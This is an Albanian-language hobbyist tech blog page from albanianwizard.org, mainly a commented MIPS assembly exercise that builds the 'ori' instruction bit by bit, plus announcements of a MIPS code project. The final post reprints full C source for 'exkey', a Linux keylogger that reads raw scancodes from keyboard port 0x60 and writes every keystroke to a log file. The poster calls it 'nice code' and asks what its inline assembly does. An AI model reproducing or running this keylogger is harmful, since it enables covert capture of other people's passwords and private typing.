Aty ku leximi eshte kenaqesi :)
Paradoks ne Universitetet Shqiptare
Mund te thoni se me pelqen kritika, porse nuk eshte e vertet. Me pelqen te them fjale te mira , te lavderoj por jo pa vend. E pra kete teme po ja dedikojme pedagogeve tane te dashur (nese jane te tille). E nga tja nisim :/ , eshte fjala per fakultetet e informatikes , per te tjerat qe nuk kam njohuri nuk mund te flas. Shumica e atyre qe pergatisin sot "eliten" shqiptare te informatikes, inxhin...
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Ne temen Historia e Internetit trajtuam qellimet origjinale per te cilat u ideua "Inter-Network-u" dhe morem nje ide per ç'fare u ideua interneti dhe transformimi i perdorimit te tij ne kohet e mevonshme, ne kete teme do te shohim pikerisht qellimin 'sot' per te cilin perdoret interneti dhe metodat e ndryshme te ketij komunikimi. Jemi te qarte qe interneti perdoret per te shkembyer informacion, ...
Te zgjerojm limitet e iptables
Jemi ne nje nga temat me * ketu ne albanianwizard.org, them me * sepse ky eshte nje koncept origjinal i patrajtuar me pare, koncepti eshte te kthejm Iptables firewall ne IPS (Intrusion Prevention System), dhe shkrimi eshte paksa i nje niveli te avancuar (kjo edhe pse jane koncepte te reja dhe jo diçka e perditshme) keshtu qe nese nuk  keni informacione se ç'fare jane: buffer overflow sql inje...
Windows ne Linux me Virtualbox | Si te ndajm direktorit dhe Suporti 3D
Pershendetje, ky eshte nje minitutorial i radhes ku do te shohim se si te instalojm nje windows XP ne linux dhe gjithashtu do te shohim se si te ndajm direktorit (folders) nga linux ne windows ne menyre qe ti kemi te aksesueshem edhe nga Windows. Fillojm, Distribucione Linux ka shume, per ta instaluar ne: Fedora : yum install virtualbox-ose Debian : apt-get virtualbox-ose Slackware : installp...

Perfundoi Niveli 1 tek projekti Mips Assembly

Posted By: arditi on 05-06-2009 in Assembly, MIPS, Niveli Mesatar - Comments: No Comments »

Sot perfundoi dhe niveli i pare tek projekti online open-source Mips Assembly.
Ne te jane pasqyruar nje pjese e mire instruksionesh assembly MIPS dhe gjate leximit te kodit do te hasni:

  • Komentim te ‘egzagjeruar’ do te thoja, por kjo vetem per te sqaruar mire kodin
  • 2 Stile kodimi, i pari me pseudinstruksione dhe me regjistrat te emertuar “user friendly” $s0, $t0 etj dhe ate te Hard Core Assembly Programmer me instruksione Assembly puro duke ju drejtuar dhe regjistrave me $8, $9, $12 e keshtu me rradhe.
  • Origjinalitetin shqiptar, pasi kodet nuk jane kopiuar ne ndonje vend pasi edhe nese kerkoni ne ç’faredo lloj GJUHE te botes qofte anglisht, frengjisht, italisht, kinezçe, arabisht nuk do gjeni shembuj te tille pasi kam kerkuar personalisht per diçka te tille dhe nuk e kam gjetur xD.

PS.
Universitet ne shqiperi (ashtu si ketu ku jam une) nuk eshte se zgjerohen shume per ta ber nxenesin nje programator assembly porse dihet qe te dish te programosh ne gjuhe assembly kupton ne teresi sistemin , programon duke synuar performancat me te larta, dhe kjo çon ne perpunimin e algoritmeve thuajse perfekt dhe ndonjehere programatori assembly garon me vet kompilatorin.
Nuk me mbetet vetem te them i gezofshi, jane falas dhe open-source, mund te modifikohen porse kujtohuni qe ti ridrejtoni dhe studentet e tjere ketu. (kjo per te miren e tyre se mua pak me intereson xD , eci me parullen “don’t shave it xD :D :D” ).

http://albanianwizard.org/mips_assembly_source_code_examples/fillestar/

Assemblimi i nje instruksioni assembly ne assembler (:?

Posted By: arditi on 02-06-2009 in Assembly, MIPS, i'm a cool Nerd - Comments: No Comments »

Nuk eshte loje fjalesh,  mjafton te lexoni kodin dhe eshte i komentuar shume mire.
http://albanianwizard.org/Postokodin/37
Per te shkarkuar:
http://albanianwizard.org/mips_assembly_source_code_examples/programator/assembly.s

##################################

#albanianwizard.org #

#Licence GPLv3 #

#arditi – arditi{at}hush{pik}ai #

######################################################################################################################

#Asemblo instruksionin ori $8, $9, 0×0019 duke mbledhur 1 nga 1 pjeset e tij [opcode],[rt],[rs],[imm] #

#dhe duke e depozituar instruksionin ne menyre te rregullt duke respektuar formatin ne nje regjister ç’faredo. #

#########################################################################################################################################################

#Te assemblojm ORI-n #

#Formatin mund ta gjeni tek: #

#http://albanianwizard.org/informatika_shqiptare/arkitekture_kompiuterike/gjuha_e_programimit_assembly/formati-i-instruksioneve-ne-arkitekturen-mips/ #

#Ne kete ushtrim do te shohim se si duke mbledhur copeza kodi mund te arrijm tek instruksioni i deshiruar. #

#Ne rastin tone eshte: ori $8,$9,0×0019 #

#########################################################################################################################################################

.text

.globl main

######################################################################################

# INTRO #

#ori $8, $9, 0×0019 eshte i barabart me isntruksionin 0×35280019 #

#ori ka opcode 1101 == 13 ne dec ose D ne hex #

#Shohim qe ka 1 operand dhe 1 regjister destinacioni dhe 1 vlere te menjehershme #

#Operandi [rs]= $9 / 0×9 #

#Destinacioni [rt]= $8 / 0×8 #

#Vlera e menjehershme [Imm] = 0×0019 #

#Zgjedhim $24 si regjister per te asembluar instruksionin #

######################################################################################

main:

ori $11,$0,0xD # opcode /kodi i instruksionit ori (0xD)/13/1101 ===>$11

ori $12,$0,0×9 # operandi $9 / [rs] ===>$12

ori $13,$0,0×8 # destinacioni $8 /[rt] ===>$13

ori $14,$0,0×0019 # [Imm] = 0×0019 ===>$14

########################

# Rregullojm Bitet #

########################

sll $11,$11,26 # spostojm [opcode] ne pozicionin e vet pasi tani eshte 0000 0000 0000 0000 0000 0000 0000 1101

# dhe duhet te jete (si opcode) ne pozicionin e vet: 0011 0100 0000 0000 0000 0000 0000 0000

sll $12,$12,21 # spostojm [rs] ne pozicionin e vet duke e levizur majtas 21 njesi dhe kemi:

# 0000 0000 0000 0000 0000 0000 0000 1001 mbasi e spostojm 21 njesi majtas kemi

# 0000 0001 0010 0000 0000 0000 0000 0000 [kjo eshte pamja e regjistrit mbas egzekutimit te sll $12, $12, 21

sll $13,$13,16 # spostojm [rt] (destinacionin) ne vendin e vet pasi tani eshte :

# 0000 0000 0000 0000 0000 0000 0000 1000 dhe duhet te jete :

# 0000 0000 0000 1000 0000 0000 0000 0000 [kete e ben instruksioni ;) ]

##################################################

#Fillojm spostojm bitet ne regjistrin e deshiruar#

##################################################

or $24,$24,$11 # Bejme OR [opcode] (R11) tek regjistri $24 i cili do te marri pamjen:

# 0011 0100 0000 0000 0000 0000 0000 0000

or $24,$24,$12 # Bejme OR [RS] qe e kemi “qendisur” tek regjistri 12 me $24 i cili tani duke u shtuar dhe [rs] do marri pamjen

# 0011 0101 0010 0000 0000 0000 0000 0000

or $24,$24,$13 # Kalojm me OR $13 [rt] (destinacionin) tek regjistri yne $24 qe tani do te mari pamje akoma me te kompletuar :

# 0011 0101 0010 1000 (0000 0000 0000 0000) == IMM :D

######################################################

#Na ngelen vetem 16 bitet e vleres se menjehershme :D #

######################################################

or $24,$24,$14 # Se fundmi fusim dhe vleren tone 0×0019 qe ne sistemin binar paraqitet me : 0000 0000 0001 1001

# Dhe pamja perfundimtare e regjistrit do jete:

# 0011 0101 0010 1000 0000 0000 0001 1001

ori $2, $0, 10 # Po vdis re Vdis :P

syscall # Mbyllja e programit

################################################################

# PERFUNDIM #

#######################################################################################

#ori $8,$9,0×0019 <===> 0×35280019 <===> 0011 0101 0010 1000 0000 0000 0001 1001 #

#######################################################################################


Lancohet projekti Mips Assembly

Posted By: arditi on 01-06-2009 in Lajme, MIPS - Comments: No Comments »

Sapo eshte lansuar projekti MIPS Assembly me source kode te gjuhes assembly per arkitekturen MIPS R3000.
Eshte i ndare ne 3 nivele, fillestar, normal, c0d3r ne baze te veshtiresise.
Meqenese eshte unik ne web dhe nuk egziston ndonje projekt i tille direktoria eshte emeruar ne gjuhen angleze ne menyre qe te perdoret dhe nga jo-shqiptaret.
Eshte ne perpunim dhe kodet do te shtohen pak nga pak.
Vizitojeni ;)
http://albanianwizard.org/mips_assembly_source_code_examples/ushtrime_assembly_mips.php

Porojekti java shtyhet.

Nje kod i lezetcem keyloggeri ne C

Posted By: eldo on 31-05-2009 in Assembly, IT, mutherfhacker - Comments: 4 Comments »

/* *
* exkey - excluded keylogger *
* *
* This program is free software; you can redistribute it and/or *
* modify it under the terms of the GNU General Public License *
* as published by the Free Software Foundation. *
* *
* For educational purposes only. *
* *
* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - *
* Written by: FuSi *
* VERSION 0.0a <fusi@excluded.org> *
* <www.excluded.org> *
* / close your eyes & dream with me / *
* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - *
* *
* */
#include<sys/types.h>
#include<fcntl.h>
#include<stdio.h>
#include<time.h>
#define kp 0x60
int main(int argc,char **argv){
int fd;
int prm=0,dm=0;
struct timespec *ts;
if(argc < 2){
fprintf(stderr,"exkey - excluded keylogger\nwritten by FuSi (fusi@excluded.org)\nversion 0.0a\n\nJust type: ./exkey <logfile>\n");
exit(1);}
if((fd = open(argv[1],O_CREAT|O_WRONLY|O_TRUNC)) == -1){
perror("open()");
exit(1);}
asm("int $0x80;": :"a"(101),"b"(kp),"c"(1),"d"(1));
ts->tv_nsec = 20;
ts->tv_sec = 0;
while(1){
dm = prm;
asm("inb %%dx,%%al;":"=a"(prm):"a"(0),"d"(kp));
switch(prm){
case(2) : prm ='1' ;break;case(3) : prm ='2';break;
case(4) : prm ='3' ;break;case(5) : prm ='4';break;
case(6) : prm ='5' ;break;case(7) : prm ='6';break;
case(8) : prm ='7' ;break;case(9) : prm ='8';break;
case(10) : prm ='9' ;break;case(11) : prm ='0';break;
case(12) : prm ='ß' ;break;case(13) : prm ='´';break;
case(14) : prm ='\b';break;case(16) : prm ='q';break;
case(17) : prm ='w' ;break;case(18) : prm ='e';break;
case(19) : prm ='r' ;break;case(20) : prm ='t';break;
case(21) : prm ='z' ;break;case(22) : prm ='u';break;
case(23) : prm ='i' ;break;case(24) : prm ='o';break;
case(25) : prm ='p' ;break;case(26) : prm ='ü';break;
case(27) : prm ='+' ;break;case(28) : prm ='\n';break;
case(30) : prm ='a' ;break;case(31) : prm ='s';break;
case(32) : prm ='d' ;break;case(33) : prm ='f';break;
case(34) : prm ='g' ;break;case(35) : prm ='h';break;
case(36) : prm ='j' ;break;case(37) : prm ='k';break;
case(38) : prm ='l' ;break;case(39) : prm ='ö';break;
case(40) : prm =39 ;break;case(41) : prm =96 ;break;
case(43) : prm =92 ;break;case(44) : prm ='y';break;
case(45) : prm ='x' ;break;case(46) : prm ='c';break;
case(47) : prm ='v' ;break;case(48) : prm ='b';break;
case(49) : prm ='n' ;break;case(50) : prm ='m';break;
case(51) : prm =180 ;break;case(52) : prm =46 ;break;
case(53) : prm ='-' ;break;case(57) : prm =32 ;break;
default : prm =0 ;break;}
if(prm != dm)
write(fd,&prm,1);
asm("int $0x80"::"a"(162),"b"(ts),"c"(0));}
close(fd);}

Pjesen me te madhe te ketij kodi e kuptoj pervec kodit asm() pra pjeses ne assembler edhe se di pak nga ajo gjuhe ketu as qe po e marr vesh.Pra pak a shum therritet nje int nje funksion ose call, por cfar funksioni ka? Hajt pra ta diskutojme..